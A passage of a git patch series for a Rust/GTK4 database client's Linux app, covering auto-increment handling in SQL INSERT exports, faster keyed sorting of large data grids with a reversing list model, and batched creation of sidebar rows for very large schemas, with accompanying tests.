-        &["CREATE TABLE t (id INTEGER PRIMARY KEY DEFAULT 0, name TEXT)"],
+        &[
+            "CREATE TABLE t (id INTEGER PRIMARY KEY DEFAULT 5, name TEXT)",
+            "INSERT INTO t (name) VALUES ('a'), ('b')",
+        ],
     )
     .await
     .unwrap();
 
     let columns = connection.fetch_columns(&table("t"), call()).await.unwrap();
+    let stored = query(connection.as_ref(), "SELECT id FROM t ORDER BY id").await;
 
-    assert!(!columns[0].is_auto_increment);
+    assert_eq!(stored.rows, [[Value::Int(1)], [Value::Int(2)]]);
+    assert!(columns[0].is_auto_increment);
     connection.close().await.unwrap();
 }
 
diff --git a/linux/crates/test-support/src/conformance/cases/round_trip.rs b/linux/crates/test-support/src/conformance/cases/round_trip.rs
index dac88ac1b4..9e17db85c6 100644
--- a/linux/crates/test-support/src/conformance/cases/round_trip.rs
+++ b/linux/crates/test-support/src/conformance/cases/round_trip.rs
@@ -352,14 +352,18 @@ pub async fn sql_insert_export_runs_back_as_the_same_rows<E: ValueCorpusEngine>(
         let what = format!("`{}` as SQL INSERT", column.declaration);
         let expected = read_rows(connection.as_ref(), &source, typed_texts, KeepValues::No).await?;
         let copy = corpus_table(&engine, connection.as_ref(), &format!("sql_{index}_copy"), column, &[]).await?;
-        let generated = connection
-            .fetch_columns(&source, within(CALL_DEADLINE))
-            .await?
-            .into_iter()
+        let catalog = connection.fetch_columns(&source, within(CALL_DEADLINE)).await?;
+        let generated = catalog
+            .iter()
             .filter(|info| info.is_generated)
-            .map(|info| info.name)
+            .map(|info| info.name.clone())
+            .collect();
+        let numbered = catalog
+            .iter()
+            .filter(|info| info.is_auto_increment)
+            .map(|info| info.name.clone())
             .collect();
-        let encoder = insert_encoder(connection.dialect(), copy.clone(), generated);
+        let encoder = insert_encoder(connection.dialect(), copy.clone(), generated, numbered);
         let script = export_file(connection.as_ref(), &source, encoder).await?;
         let script = String::from_utf8(script).map_err(ConformanceFailure::setup)?;
         if let Some(failure) = run_script(session.as_ref(), &*connection.dialect(), &script).await? {
@@ -495,9 +499,23 @@ fn csv_encoder(options: CsvOptions) -> EncoderFor {
 }
 
 /// INSERT statements into `table`, leaving out the columns the server
-/// computes, as a table tab's export does.
-fn insert_encoder(dialect: Arc<dyn SqlDialect>, table: TableRef, generated: Vec<String>) -> EncoderFor {
-    Box::new(move |columns| Box::new(SqlInsertEncoder::new(dialect.clone(), &table, columns, &generated)))
+/// computes and writing the ones it numbers, as a table tab's export
+/// does.
+fn insert_encoder(
+    dialect: Arc<dyn SqlDialect>,
+    table: TableRef,
+    generated: Vec<String>,
+    numbered: Vec<String>,
+) -> EncoderFor {
+    Box::new(move |columns| {
+        Box::new(SqlInsertEncoder::new(
+            dialect.clone(),
+            &table,
+            columns,
+            &generated,
+            &numbered,
+        ))
+    })
 }
 
 /// Rows an export read, encoded one at a time from the columns the read

From 6d19330b55de8fac2c73aa57a9d574c06ab21053 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Thu, 29 Oct 2026 09:38:31 +0700
Subject: [PATCH 15/44] perf(linux): sort large grids by keys and open a
 50,000-table schema in turns (#3868)

---
 linux/changelog.d/3868.changed.md             |   1 +
 .../app/src/services/grid/value_order.rs      |  10 +-
 .../app/src/ui/data_grid/client_sorter.rs     |  25 ++-
 linux/crates/app/src/ui/data_grid/columns.rs  |  26 +++-
 linux/crates/app/src/ui/data_grid/imp.rs      |   4 +
 linux/crates/app/src/ui/data_grid/mod.rs      |  10 +-
 .../app/src/ui/data_grid/reversed_list.rs     | 147 ++++++++++++++++++
 .../app/src/ui/data_grid/tests/sorting.rs     |  12 +-
 .../ui/workspace/sidebar/connection_tree.rs   |  26 +++-
 .../src/ui/workspace/sidebar/sidebar_list.rs  |  33 ++++
 .../ui/workspace/sidebar/sidebar_list_imp.rs  |   4 +-
 .../app/src/ui/workspace/sidebar/tests.rs     |  42 +++--
 .../app/src/ui/workspace/sidebar/tree_row.rs  | 140 +++++++++++------
 .../src/ui/workspace/tests/large_catalog.rs   |  35 ++++-
 linux/po/POTFILES.in                          |   1 +
 15 files changed, 431 insertions(+), 85 deletions(-)
 create mode 100644 linux/changelog.d/3868.changed.md
 create mode 100644 linux/crates/app/src/ui/data_grid/reversed_list.rs

diff --git a/linux/changelog.d/3868.changed.md b/linux/changelog.d/3868.changed.md
new file mode 100644
index 0000000000..0c38163373
--- /dev/null
+++ b/linux/changelog.d/3868.changed.md
@@ -0,0 +1 @@
+Sorting a column of tens of thousands of rows is several times faster.
diff --git a/linux/crates/app/src/services/grid/value_order.rs b/linux/crates/app/src/services/grid/value_order.rs
index 5d57d05af6..94c3b88c3d 100644
--- a/linux/crates/app/src/services/grid/value_order.rs
+++ b/linux/crates/app/src/services/grid/value_order.rs
@@ -27,8 +27,8 @@ pub fn compare(a: &Value, b: &Value) -> Ordering {
 
 /// The order of a column that can hold text: NULL, then numbers by
 /// value, then text, then blobs, then the rest as `compare` orders
-/// them. Two texts are `Equal` here, so the collating sorter after this
-/// one orders them.
+/// them. Two texts are `Equal` here, since the collating sorter orders
+/// them.
 pub fn storage_class_order(a: &Value, b: &Value) -> Ordering {
     let class = storage_class(a);
     match class.cmp(&storage_class(b)) {
@@ -41,6 +41,12 @@ pub fn storage_class_order(a: &Value, b: &Value) -> Ordering {
     }
 }
 
+/// Where `value`'s storage class sorts among the others, as
+/// `storage_class_order` places them.
+pub fn storage_class_rank(value: &Value) -> i32 {
+    storage_class(value) as i32
+}
+
 /// The text a collating sorter orders `value` by. `None` for a value
 /// that is not text, which some other sorter has already placed.
 pub fn sort_text(value: &Value) -> Option<&str> {
diff --git a/linux/crates/app/src/ui/data_grid/client_sorter.rs b/linux/crates/app/src/ui/data_grid/client_sorter.rs
index 75991550de..d932f7f0d4 100644
--- a/linux/crates/app/src/ui/data_grid/client_sorter.rs
+++ b/linux/crates/app/src/ui/data_grid/client_sorter.rs
@@ -7,27 +7,42 @@ use tablepro_core::column::ColumnKind;
 
 use super::GridRow;
 use crate::services::grid::GridColumn;
-use crate::services::grid::value_order::{compare, sort_text, storage_class_order};
+use crate::services::grid::value_order::{compare, sort_text, storage_class_order, storage_class_rank};
 
 /// What a header click sorts a grid's rows by.
 ///
 /// Text is collated in the user's locale by `GtkStringSorter`, which
 /// builds a collation key once per row rather than once per comparison.
-/// The sorter ahead of it places every value that is not text, so the
-/// pair serves any column that can hold text, including a SQLite column
-/// whose rows choose their own storage.
+/// The sorter ahead of it places each storage class by a key too, and
+/// the one after it orders numbers and blobs among themselves, so the
+/// three serve any column that can hold text, including a SQLite column
+/// whose rows choose their own storage. A custom sorter runs on every
+/// comparison that reaches it, so it comes last, where texts never do.
 pub fn column_sorter(column: &GridColumn) -> gtk::Sorter {
     let index = column.index;
     let column_type = &column.column_type;
     if column_type.dynamic_storage || holds_text(&column_type.kind) {
         let sorter = gtk::MultiSorter::new();
-        sorter.append(cells_by(index, storage_class_order));
+        sorter.append(class_sorter(index));
         sorter.append(text_sorter(index));
+        sorter.append(cells_by(index, storage_class_order));
         return sorter.upcast();
     }
     cells_by(index, compare).upcast()
 }
 
+fn class_sorter(index: usize) -> gtk::NumericSorter {
+    let class = gtk::ClosureExpression::with_callback(&[] as &[gtk::Expression], move |values: &[glib::Value]| {
+        let cells = values
+            .first()
+            .and_then(|value| value.get::<GridRow>().ok())
+            .and_then(|row| row.cells());
+        let null = Value::Null;
+        storage_class_rank(cells.as_deref().and_then(|cells| cells.get(index)).unwrap_or(&null))
+    });
+    gtk::NumericSorter::new(Some(class))
+}
+
 fn holds_text(kind: &ColumnKind) -> bool {
     kind.is_textual() || matches!(kind, ColumnKind::Json { .. } | ColumnKind::Network(_))
 }
diff --git a/linux/crates/app/src/ui/data_grid/columns.rs b/linux/crates/app/src/ui/data_grid/columns.rs
index 1ab8c98547..e7de2eb2a4 100644
--- a/linux/crates/app/src/ui/data_grid/columns.rs
+++ b/linux/crates/app/src/ui/data_grid/columns.rs
@@ -497,12 +497,16 @@ impl DataGrid {
             .borrow_mut()
             .handlers
             .push((sorter.upcast_ref::<glib::Object>().downgrade(), handler));
+        // New columns bring new sorters, and the rows must not keep one
+        // of a column that is gone.
+        self.sort_shown_rows(&sorter);
     }
 
     /// A header click or the menu changed the sort: a server grid asks the
     /// host for its rows in that order.
     fn sort_changed(&self, sorter: &gtk::ColumnViewSorter) {
         self.refresh_actions();
+        self.sort_shown_rows(sorter);
         if self.imp().quiet_sort.get() {
             return;
         }
@@ -513,6 +517,22 @@ impl DataGrid {
         }
     }
 
+    /// A grid that sorts its own rows sorts them with the header column's
+    /// own sorter, which collates each row once, and shows them last first
+    /// for a descending sort.
+    fn sort_shown_rows(&self, sorter: &gtk::ColumnViewSorter) {
+        let imp = self.imp();
+        let (Some(sorted), Some(shown)) = (imp.sort_model.get(), imp.shown.get()) else {
+            return;
+        };
+        let column = sorter.primary_sort_column();
+        let by = column.as_ref().and_then(gtk::ColumnViewColumn::sorter);
+        if sorted.sorter() != by {
+            sorted.set_sorter(by.as_ref());
+        }
+        shown.set_reversed(column.is_some() && sorter.primary_sort_order() == gtk::SortType::Descending);
+    }
+
     pub(super) fn apply_sort_quietly(&self, sort: Option<(usize, bool)>) {
         let quiet = &self.imp().quiet_sort;
         quiet.set(true);
@@ -580,9 +600,9 @@ impl DataGrid {
     }
 
     pub(crate) fn view_position(&self, row: &GridRow) -> Option<u32> {
-        match self.imp().sort_model.get() {
-            Some(sorted) => {
-                (0..sorted.n_items()).find(|position| sorted.item(*position).as_ref() == Some(row.upcast_ref()))
+        match self.imp().shown.get() {
+            Some(shown) => {
+                (0..shown.n_items()).find(|position| shown.item(*position).as_ref() == Some(row.upcast_ref()))
             }
             None => self.store().position_of(row),
         }
diff --git a/linux/crates/app/src/ui/data_grid/imp.rs b/linux/crates/app/src/ui/data_grid/imp.rs
index 11ff4f66f3..28a482d82a 100644
--- a/linux/crates/app/src/ui/data_grid/imp.rs
+++ b/linux/crates/app/src/ui/data_grid/imp.rs
@@ -13,6 +13,7 @@ use super::edit::EditController;
 use super::find_bar::FindState;
 use super::grid_menu::GridMenus;
 use super::references::Armed;
+use super::reversed_list::ReversedList;
 use super::row_detail::RowDetailPane;
 use super::selection::Target;
 use super::{GridConfig, GridStore};
@@ -57,6 +58,9 @@ pub struct DataGrid {
     pub selection: Selection,
     /// Set for a grid that sorts the rows it holds.
     pub sort_model: OnceCell<gtk4::SortListModel>,
+    /// The sorted rows as the grid shows them, last first for a
+    /// descending sort.
+    pub shown: OnceCell<ReversedList>,
     pub columns: RefCell<ColumnSet>,
     pub actions: gio::SimpleActionGroup,
     pub menus: OnceCell<GridMenus>,
diff --git a/linux/crates/app/src/ui/data_grid/mod.rs b/linux/crates/app/src/ui/data_grid/mod.rs
index b6bbf63a5a..eba768f692 100644
--- a/linux/crates/app/src/ui/data_grid/mod.rs
+++ b/linux/crates/app/src/ui/data_grid/mod.rs
@@ -19,6 +19,7 @@ mod keys;
 mod layout_binding;
 mod pointer;
 mod references;
+mod reversed_list;
 mod row_detail;
 mod row_json_dialog;
 mod row_number_column;
@@ -47,6 +48,7 @@ pub(crate) use self::grid_request::GridRequest;
 pub(crate) use self::grid_row::{GridRow, PinnedRow, RowData};
 pub(crate) use self::grid_store::GridStore;
 pub(crate) use self::layout_binding::LayoutBinding;
+use self::reversed_list::ReversedList;
 #[cfg(test)]
 pub(crate) use self::row_detail::RowDetailPane;
 pub(crate) use self::row_json_dialog::{RowJsonRequest, present_row_json};
@@ -341,10 +343,12 @@ impl DataGrid {
             GridSorting::Client => {
                 // At once rather than in steps, so a copy right after a
                 // click takes the order on screen.
-                let sorted = gtk::SortListModel::new(Some(list), imp.column_view.sorter());
+                let sorted = gtk::SortListModel::new(Some(list), None::<gtk::Sorter>);
                 sorted.set_incremental(false);
-                let _ = imp.sort_model.set(sorted.clone());
-                sorted.upcast()
+                let shown = ReversedList::new(&sorted);
+                let _ = imp.sort_model.set(sorted);
+                let _ = imp.shown.set(shown.clone());
+                shown.upcast()
             }
             GridSorting::Server { .. } | GridSorting::None => list,
         };
diff --git a/linux/crates/app/src/ui/data_grid/reversed_list.rs b/linux/crates/app/src/ui/data_grid/reversed_list.rs
new file mode 100644
index 0000000000..0a5bfa0377
--- /dev/null
+++ b/linux/crates/app/src/ui/data_grid/reversed_list.rs
@@ -0,0 +1,147 @@
+use std::cell::{Cell, OnceCell};
+
+use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
+use gtk4::{gio, glib};
+
+mod imp {
+    use super::*;
+
+    #[derive(Default)]
+    pub struct ReversedList {
+        pub(super) model: OnceCell<gio::ListModel>,
+        pub(super) reversed: Cell<bool>,
+    }
+
+    #[glib::object_subclass]
+    impl ObjectSubclass for ReversedList {
+        const NAME: &'static str = "TableProReversedList";
+        type Type = super::ReversedList;
+        type Interfaces = (gio::ListModel,);
+    }
+
+    impl ObjectImpl for ReversedList {}
+
+    impl ListModelImpl for ReversedList {
+        fn item_type(&self) -> glib::Type {
+            self.model
+                .get()
+                .map_or_else(glib::Object::static_type, |model| model.item_type())
+        }
+
+        fn n_items(&self) -> u32 {
+            self.model.get().map_or(0, |model| model.n_items())
+        }
+
+        fn item(&self, position: u32) -> Option<glib::Object> {
+            let model = self.model.get()?;
+            let n_items = model.n_items();
+            if position >= n_items {
+                return None;
+            }
+            model.item(if self.reversed.get() {
+                n_items - 1 - position
+            } else {
+                position
+            })
+        }
+    }
+}
+
+glib::wrapper! {
+    /// The rows of the model under it, last first while reversed, so a
+    /// sort model keyed for ascending order serves a descending header
+    /// too. GtkColumnViewSorter offers no keys, and a sort through it
+    /// collates both rows again on every comparison.
+    pub struct ReversedList(ObjectSubclass<imp::ReversedList>)
+        @implements gio::ListModel;
+}
+
+impl ReversedList {
+    pub fn new(model: &impl IsA<gio::ListModel>) -> Self {
+        let list: Self = glib::Object::new();
+        let model = model.upcast_ref::<gio::ListModel>();
+        let _ = list.imp().model.set(model.clone());
+        let weak = list.downgrade();
+        model.connect_items_changed(move |model, position, removed, added| {
+            if let Some(list) = weak.upgrade() {
+                list.model_changed(model.n_items(), position, removed, added);
+            }
+        });
+        list
+    }
+
+    /// Show the rows last first, or in the model's order.
+    pub fn set_reversed(&self, reversed: bool) {
+        if self.imp().reversed.replace(reversed) == reversed {
+            return;
+        }
+        let n_items = self.n_items();
+        if n_items > 0 {
+            self.items_changed(0, n_items, n_items);
+        }
+    }
+
+    fn model_changed(&self, n_items: u32, position: u32, removed: u32, added: u32) {
+        if !self.imp().reversed.get() {
+            self.items_changed(position, removed, added);
+            return;
+        }
+        let before = n_items - added + removed;
+        self.items_changed(before - position - removed, removed, added);
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use std::cell::RefCell;
+    use std::rc::Rc;
+
+    use gtk4 as gtk;
+
+    use super::*;
+
+    fn shown(list: &ReversedList) -> Vec<String> {
+        (0..list.n_items())
+            .filter_map(|at| list.item(at).and_downcast::<gtk::StringObject>())
+            .map(|object| object.string().to_string())
+            .collect()
+    }
+
+    fn changes(list: &ReversedList) -> Rc<RefCell<Vec<(u32, u32, u32)>>> {
+        let seen = Rc::new(RefCell::new(Vec::new()));
+        let log = seen.clone();
+        list.connect_items_changed(move |_, position, removed, added| {
+            log.borrow_mut().push((position, removed, added));
+        });
+        seen
+    }
+
+    #[gtk4::test]
+    fn a_change_under_a_reversed_list_lands_where_the_list_shows_it() {
+        let rows = gtk::StringList::new(&["a", "b", "c", "d"]);
+        let list = ReversedList::new(&rows);
+        list.set_reversed(true);
+        let seen = changes(&list);
+
+        rows.splice(1, 2, &["x"]);
+        rows.append("e");
+
+        assert_eq!(shown(&list), ["e", "d", "x", "a"]);
+        assert_eq!(*seen.borrow(), [(1, 2, 1), (0, 0, 1)]);
+    }
+
+    #[gtk4::test]
+    fn reversing_replaces_the_rows_once_and_again_changes_nothing() {
+        let rows = gtk::StringList::new(&["a", "b", "c"]);
+        let list = ReversedList::new(&rows);
+        let seen = changes(&list);
+
+        list.set_reversed(true);
+        list.set_reversed(true);
+
+        assert_eq!(shown(&list), ["c", "b", "a"]);
+        assert_eq!(*seen.borrow(), [(0, 3, 3)]);
+        assert_eq!(list.item(3), None, "past the end");
+    }
+}
diff --git a/linux/crates/app/src/ui/data_grid/tests/sorting.rs b/linux/crates/app/src/ui/data_grid/tests/sorting.rs
index 575e3514e0..029b23173b 100644
--- a/linux/crates/app/src/ui/data_grid/tests/sorting.rs
+++ b/linux/crates/app/src/ui/data_grid/tests/sorting.rs
@@ -161,13 +161,17 @@ fn text_column_sorter_is_string_sorter_with_unicode_collation() {
         .expect("a text column sorts in steps");
 
     let collating = sorter
-        .item(sorter.n_items() - 1)
+        .item(1)
         .and_downcast::<gtk::StringSorter>()
-        .expect("the last step collates the text");
+        .expect("the second step collates the text");
     assert_eq!(collating.collation(), gtk::Collation::Unicode);
     assert!(
-        sorter.item(0).and_downcast::<gtk::CustomSorter>().is_some(),
-        "NULL is not placed first"
+        sorter.item(0).and_downcast::<gtk::NumericSorter>().is_some(),
+        "NULL is not placed first by a key"
+    );
+    assert!(
+        sorter.item(2).and_downcast::<gtk::CustomSorter>().is_some(),
+        "numbers are not ordered among themselves"
     );
 }
 
diff --git a/linux/crates/app/src/ui/workspace/sidebar/connection_tree.rs b/linux/crates/app/src/ui/workspace/sidebar/connection_tree.rs
index 9b6a5c9acd..e761590ba1 100644
--- a/linux/crates/app/src/ui/workspace/sidebar/connection_tree.rs
+++ b/linux/crates/app/src/ui/workspace/sidebar/connection_tree.rs
@@ -723,7 +723,7 @@ impl TreeInner {
             && connection.is_expanded()
             && let Some(row) = child_row(&connection, &schema)
         {
-            expand(&row);
+            open_when_made(&row, &schema);
         }
     }
 
@@ -1475,6 +1475,30 @@ fn expand(row: &gtk::TreeListRow) {
     }
 }
 
+/// The rows of a schema made in one turn of the main loop before it opens.
+const ROWS_PER_TURN: u32 = 2_000;
+
+/// Open the `schema`'s `row` once its tables' rows are made, a batch per
+/// turn of the main loop: GtkTreeListModel asks for every row of a schema
+/// it opens, and 50,000 made in one turn stall the window.
+fn open_when_made(row: &gtk::TreeListRow, schema: &TreeNode) {
+    let Some(rows) = schema.rows().filter(|rows| !rows.make_rows(ROWS_PER_TURN)) else {
+        expand(row);
+        return;
+    };
+    let row = row.downgrade();
+    glib::idle_add_local(move || {
+        let Some(row) = row.upgrade() else {
+            return glib::ControlFlow::Break;
+        };
+        if !rows.make_rows(ROWS_PER_TURN) {
+            return glib::ControlFlow::Continue;
+        }
+        expand(&row);
+        glib::ControlFlow::Break
+    });
+}
+
 /// Where `object` is in `model`: the roots, a group's connections or a
 /// connection's schemas, never a schema's tables.
 fn index_in(model: &impl IsA<gio::ListModel>, object: &impl IsA<glib::Object>) -> Option<u32> {
diff --git a/linux/crates/app/src/ui/workspace/sidebar/sidebar_list.rs b/linux/crates/app/src/ui/workspace/sidebar/sidebar_list.rs
index e16e492b6b..aad7cfaaa9 100644
--- a/linux/crates/app/src/ui/workspace/sidebar/sidebar_list.rs
+++ b/linux/crates/app/src/ui/workspace/sidebar/sidebar_list.rs
@@ -85,6 +85,7 @@ impl SidebarList {
         }
         let imp = self.imp();
         imp.objects.borrow_mut().clear();
+        imp.made.set(0);
         if !Arc::ptr_eq(&imp.index.borrow(), index) {
             imp.index.replace(index.clone());
         }
@@ -98,6 +99,24 @@ impl SidebarList {
             self.items_changed(0, 0, added);
         }
     }
+
+    /// Make up to `count` more rows, ahead of a tree that asks for every
+    /// row of a schema it opens. True once every row is made.
+    pub(crate) fn make_rows(&self, count: u32) -> bool {
+        let imp = self.imp();
+        let n_items = imp.entries.borrow().len();
+        let mut at = imp.made.get();
+        let mut made = 0;
+        while at < n_items && made < count {
+            if imp.objects.borrow().get(at as usize).is_none_or(Option::is_none) {
+                let _ = imp.item(at);
+                made += 1;
+            }
+            at += 1;
+        }
+        imp.made.set(at);
+        at >= n_items
+    }
 }
 
 impl Default for SidebarList {
@@ -182,6 +201,20 @@ mod tests {
         assert_ne!(list.item(0), first, "a new index kept an old row");
     }
 
+    #[gtk4::test]
+    fn rows_are_made_a_batch_at_a_time_and_kept() {
+        let index = index(&[("public", "a"), ("public", "b"), ("public", "c")]);
+        let list = SidebarList::new();
+        list.show(&index, Entries::Run(0, 3));
+        let asked = list.item(1);
+
+        assert!(!list.make_rows(1));
+        assert!(list.make_rows(1), "a row the tree asked for was made again");
+        assert_eq!(list.item(1), asked);
+        list.show(&index, Entries::Run(0, 2));
+        assert!(!list.make_rows(1), "a new list kept the old one's progress");
+    }
+
     #[gtk4::test]
     fn a_search_is_one_change_and_none_when_the_rows_stay() {
         let index = index(&[("public", "users"), ("public", "orders"), ("public", "user_log")]);
diff --git a/linux/crates/app/src/ui/workspace/sidebar/sidebar_list_imp.rs b/linux/crates/app/src/ui/workspace/sidebar/sidebar_list_imp.rs
index 6e2e85f9b7..c40e637ffd 100644
--- a/linux/crates/app/src/ui/workspace/sidebar/sidebar_list_imp.rs
+++ b/linux/crates/app/src/ui/workspace/sidebar/sidebar_list_imp.rs
@@ -1,4 +1,4 @@
-use std::cell::RefCell;
+use std::cell::{Cell, RefCell};
 use std::sync::Arc;
 
 use gtk4::prelude::*;
@@ -19,6 +19,8 @@ pub struct SidebarList {
     /// asks for every row of a schema it opens, so a lookup by hash
     /// would cost as much again as making the rows.
     pub(super) objects: RefCell<Vec<Option<SidebarObject>>>,
+    /// Every row before this position is made.
+    pub(super) made: Cell<u32>,
 }
 
 #[glib::object_subclass]
diff --git a/linux/crates/app/src/ui/workspace/sidebar/tests.rs b/linux/crates/app/src/ui/workspace/sidebar/tests.rs
index 8edc078a7f..6ce2dcabe0 100644
--- a/linux/crates/app/src/ui/workspace/sidebar/tests.rs
+++ b/linux/crates/app/src/ui/workspace/sidebar/tests.rs
@@ -639,6 +639,20 @@ fn an_open_connection_with_nothing_to_list_says_so() {
     );
 }
 
+#[gtk4::test]
+fn a_lone_schema_of_more_tables_than_a_turn_makes_opens_once_they_are_made() {
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
+    let (view, _) = session(&[], every_affordance());
+    shown.open(&alpha, &view);
+    let names = names(5_000);
+
+    tables(&view, &names.iter().map(String::as_str).collect::<Vec<_>>());
+
+    wait_until(WAIT, || shown.row("public").is_expanded()).expect("the lone schema to open");
+    assert_eq!(shown.rows().len(), 5_002, "the connection, its schema and every table");
+}
+
 #[gtk4::test]
 fn clearing_a_search_over_an_emptied_list_says_there_are_no_tables() {
     let alpha = connection("Alpha", None);
@@ -698,9 +712,9 @@ fn a_key_row_shows_its_type_beside_its_name() {
         "a lone database stays folded"
     );
     let row = shown.row_widget("user:1");
-    assert!(row.imp().kind.is_visible());
-    assert_eq!(row.imp().kind.label(), "Hash");
-    assert!(!shown.row_widget("Database 0").imp().kind.is_visible());
+    assert!(row.kind().is_visible());
+    assert_eq!(row.kind().label(), "Hash");
+    assert!(!shown.row_widget("Database 0").kind().is_visible());
 }
 
 #[gtk4::test]
@@ -888,9 +902,9 @@ fn an_open_connection_offers_to_disconnect_from_its_row() {
     let (view, _) = session(&[object("public", "orders")], every_affordance());
     let key = shown.open(&alpha, &view);
 
-    let eject = shown.row_widget("Alpha").imp().eject.clone();
+    let eject = shown.row_widget("Alpha").status().eject.clone();
     assert!(eject.is_visible());
-    assert!(!shown.row_widget("Beta").imp().eject.is_visible());
+    assert!(!shown.row_widget("Beta").status().eject.is_visible());
     crate::test_support::assert_labelled(&eject).expect("the Disconnect button is named");
     eject.emit_clicked();
     drain_main_context();
@@ -911,7 +925,7 @@ fn a_connect_shows_a_spinner_and_offers_to_stop() {
     ]);
 
     assert_eq!(shown.rows(), ["Alpha", "From the Dialog"]);
-    assert!(shown.row_widget("From the Dialog").imp().spinner.is_visible());
+    assert!(shown.row_widget("From the Dialog").status().spinner.is_visible());
     shown.menu("From the Dialog");
     let popover = shown.popover();
     assert!(popover.is_visible());
@@ -928,7 +942,7 @@ fn a_connect_shows_a_spinner_and_offers_to_stop() {
 
     shown.tree.set_connects(&[]);
     assert_eq!(shown.rows(), ["Alpha"], "a stopped connect left its row");
-    assert!(!shown.row_widget("Alpha").imp().spinner.is_visible());
+    assert!(!shown.row_widget("Alpha").status().spinner.is_visible());
 }
 
 #[gtk4::test]
@@ -944,9 +958,9 @@ fn a_failed_connect_leaves_nothing_open_and_says_why() {
     let row = shown.row("Alpha");
     assert!(!row.is_expandable() && !row.is_expanded());
     let widget = shown.row_widget("Alpha");
-    assert!(widget.imp().problem.is_visible());
+    assert!(widget.status().problem.is_visible());
     assert_eq!(
-        widget.imp().problem.tooltip_text().as_deref(),
+        widget.status().problem.tooltip_text().as_deref(),
         Some("Connection refused")
     );
     shown.menu("Alpha");
@@ -959,7 +973,7 @@ fn a_failed_connect_leaves_nothing_open_and_says_why() {
     shown.popover().popdown();
 
     shown.tree.set_failure(&key, None);
-    assert!(!widget.imp().problem.is_visible());
+    assert!(!widget.status().problem.is_visible());
 }
 
 /// A failed connect no saved connection names, a file or one typed in
@@ -1005,17 +1019,17 @@ fn a_lost_session_says_so_on_its_row() {
     let widget = shown.row_widget("Alpha");
 
     shown.tree.set_session_state(&key, SessionRowState::Busy);
-    assert!(widget.imp().spinner.is_visible() && !widget.imp().eject.is_visible());
+    assert!(widget.status().spinner.is_visible() && !widget.status().eject.is_visible());
     shown
         .tree
         .set_session_state(&key, SessionRowState::Trouble("The server went away".to_owned()));
-    assert!(widget.imp().problem.is_visible() && !widget.imp().spinner.is_visible());
+    assert!(widget.status().problem.is_visible() && !widget.status().spinner.is_visible());
     assert_eq!(
-        widget.imp().problem.tooltip_text().as_deref(),
+        widget.status().problem.tooltip_text().as_deref(),
         Some("The server went away")
     );
     shown.tree.set_session_state(&key, SessionRowState::Ready);
-    assert!(widget.imp().eject.is_visible() && !widget.imp().problem.is_visible());
+    assert!(widget.status().eject.is_visible() && !widget.status().problem.is_visible());
 }
 
 #[gtk4::test]
diff --git a/linux/crates/app/src/ui/workspace/sidebar/tree_row.rs b/linux/crates/app/src/ui/workspace/sidebar/tree_row.rs
index f3c1ba9904..496bf2a4fd 100644
--- a/linux/crates/app/src/ui/workspace/sidebar/tree_row.rs
+++ b/linux/crates/app/src/ui/workspace/sidebar/tree_row.rs
@@ -1,4 +1,4 @@
-use std::cell::RefCell;
+use std::cell::{OnceCell, RefCell};
 
 use gtk4 as gtk;
 use gtk4::prelude::*;
@@ -22,12 +22,8 @@ mod imp {
         pub(in super::super) name: gtk::Label,
         /// A key's type, as a dim suffix: its icon alone would leave the
         /// user to learn which picture means a sorted set.
-        pub(in super::super) kind: gtk::Label,
-        pub(in super::super) spinner: adw::Spinner,
-        /// Disconnects an open connection, as GNOME Files ejects a mount.
-        pub(in super::super) eject: gtk::Button,
-        /// Says why the connection could not connect, or what it lost.
-        pub(in super::super) problem: gtk::Image,
+        pub(super) kind: OnceCell<gtk::Label>,
+        pub(super) status: OnceCell<Status>,
         /// The list item the row is in, which a screen reader describes.
         pub(crate) item: glib::WeakRef<gtk::ListItem>,
         /// The node the row shows, and its watches.
@@ -39,32 +35,18 @@ mod imp {
     // screen reader skips are built with theirs.
     impl Default for TreeRow {
         fn default() -> Self {
-            let presentation = gtk::AccessibleRole::Presentation;
             Self {
                 icon: gtk::Image::builder()
                     .pixel_size(16)
-                    .accessible_role(presentation)
+                    .accessible_role(gtk::AccessibleRole::Presentation)
                     .build(),
                 name: gtk::Label::builder()
                     .xalign(0.0)
                     .hexpand(true)
                     .ellipsize(pango::EllipsizeMode::End)
                     .build(),
-                kind: gtk::Label::builder()
-                    .accessible_role(presentation)
-                    .visible(false)
-                    .build(),
-                spinner: adw::Spinner::builder().visible(false).build(),
-                eject: gtk::Button::builder()
-                    .icon_name(crate::ui::icons::MEDIA_EJECT)
-                    .valign(gtk::Align::Center)
-                    .visible(false)
-                    .build(),
-                problem: gtk::Image::builder()
-                    .icon_name(crate::ui::icons::NETWORK_ERROR)
-                    .accessible_role(presentation)
-                    .visible(false)
-                    .build(),
+                kind: OnceCell::new(),
+                status: OnceCell::new(),
                 item: glib::WeakRef::new(),
                 watched: RefCell::new(None),
                 bindings: RefCell::new(Vec::new()),
@@ -94,19 +76,8 @@ mod imp {
                 tooltip.set_text(Some(&object.qualified_name()));
                 true
             });
-            self.kind.add_css_class("dimmed");
-            self.kind.add_css_class("caption");
-            self.eject.add_css_class("flat");
-            crate::ui::a11y::describe_icon_button(&self.eject, &crate::i18n::gettext("Disconnect"), None);
-            // The target first, or GTK warns that the action takes one.
-            self.eject.set_action_target_value(Some(&String::new().to_variant()));
-            self.eject.set_action_name(Some(DISCONNECT_SESSION));
             row.append(&self.icon);
             row.append(&self.name);
-            row.append(&self.kind);
-            row.append(&self.spinner);
-            row.append(&self.eject);
-            row.append(&self.problem);
         }
     }
 
@@ -114,6 +85,41 @@ mod imp {
     impl BoxImpl for TreeRow {}
 }
 
+/// What a connection is doing, made for the first connection a row shows:
+/// most rows show tables, and opening a schema makes two hundred rows at
+/// once.
+pub(super) struct Status {
+    pub(super) spinner: adw::Spinner,
+    /// Disconnects an open connection, as GNOME Files ejects a mount.
+    pub(super) eject: gtk::Button,
+    /// Says why the connection could not connect, or what it lost.
+    pub(super) problem: gtk::Image,
+}
+
+impl Status {
+    fn new() -> Self {
+        let eject = gtk::Button::builder()
+            .icon_name(crate::ui::icons::MEDIA_EJECT)
+            .valign(gtk::Align::Center)
+            .visible(false)
+            .build();
+        eject.add_css_class("flat");
+        crate::ui::a11y::describe_icon_button(&eject, &crate::i18n::gettext("Disconnect"), None);
